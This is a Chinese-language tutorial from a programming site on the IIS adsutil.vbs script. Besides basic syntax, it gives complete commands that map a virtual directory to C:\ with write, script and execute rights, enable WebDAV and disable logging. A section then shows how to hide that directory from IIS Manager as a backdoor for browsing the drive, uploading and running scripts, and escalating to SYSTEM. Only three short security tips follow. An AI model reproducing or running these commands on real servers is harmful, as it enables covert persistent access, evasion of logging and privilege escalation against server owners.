首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

IIS 管理利器 adsutil.vbs 完整指南:虛擬目錄創建、權限設置與後門構建

     編輯:Java 相關知識

什麼是 adsutil.vbs?

adsutil.vbs 是 IIS 自帶的命令行管理腳本,位於 %SystemDrive%\Inetpub\AdminScripts,通過操作 MetaBase.bin(IIS 核心配置庫,樹狀結構類似注冊表)實現對虛擬目錄、站點、應用池等的完整管理。

常用命令語法

cscript adsutil.vbs <命令> [路徑] [值]
命令:GET | SET | ENUM | DELETE | CREATE | COPY | START_SERVER | STOP_SERVER ...
路徑:如 W3SVC/1/Root/MyVdir(站點1根目錄下的MyVdir虛擬目錄)

核心屬性速查

屬性類型說明
KeyTypeSTRING對象類型,如 "IIsWebVirtualDir"
PathSTRING物理路徑映射
AccessRead/Write/Script/ExecuteBOOLEAN讀/寫/腳本執行/可執行權限
EnableDirBrowsingBOOLEAN是否允許目錄瀏覽
AccessSourceBOOLEANWebDAV 訪問權限(可通過 IE "以Web文件夾方式打開" 上傳文件)
AppIsolatedINTEGER應用隔離級別:0=進程內(高性能高風險), 1=進程外, 2=池化
AppPoolIdSTRING應用池名稱
DefaultDocSTRING默認文檔列表

實戰案例:創建虛擬目錄並賦予完整權限

REM 創建虛擬目錄 wofeiwo
cscript adsutil.vbs CREATE W3SVC/1/Root/wofeiwo "IIsWebVirtualDir"
REM 設置物理路徑為 C:\
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/Path "C:\"
REM 賦予讀、寫、腳本執行權限
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessRead 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessWrite 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessScript 1
REM 開啟目錄瀏覽與 WebDAV
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/EnableDirBrowsing 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessSource 1
REM 禁止日誌記錄
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/DontLog 1

進階技巧:隱藏後門目錄構建

  1. 創建父目錄 wofeiwo 不設置 Path,該目錄不會出現在 IIS 管理器中(IIS 5/6 特性)。
  2. 在其下創建子目錄 door 並設置 Path "C:\"、完整權限、AccessExecute 1。
  3. 訪問 https://IP/wofeiwo/door/ 即可遍歷 C 盤、上傳腳本、執行命令。
  4. 提權:將 AppIsolated 設為 0(進程內運行,繼承 SYSTEM 權限),或將 asp.dll 加入 InProcessIsapiApps 列表。

安全建議

  • 定期審核 MetaBase.bin 異常虛擬目錄。
  • 禁用不必要的 WebDAV、目錄瀏覽、腳本執行權限。
  • 監控 adsutil.vbs 調用日誌,限制管理腳本訪問權限。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved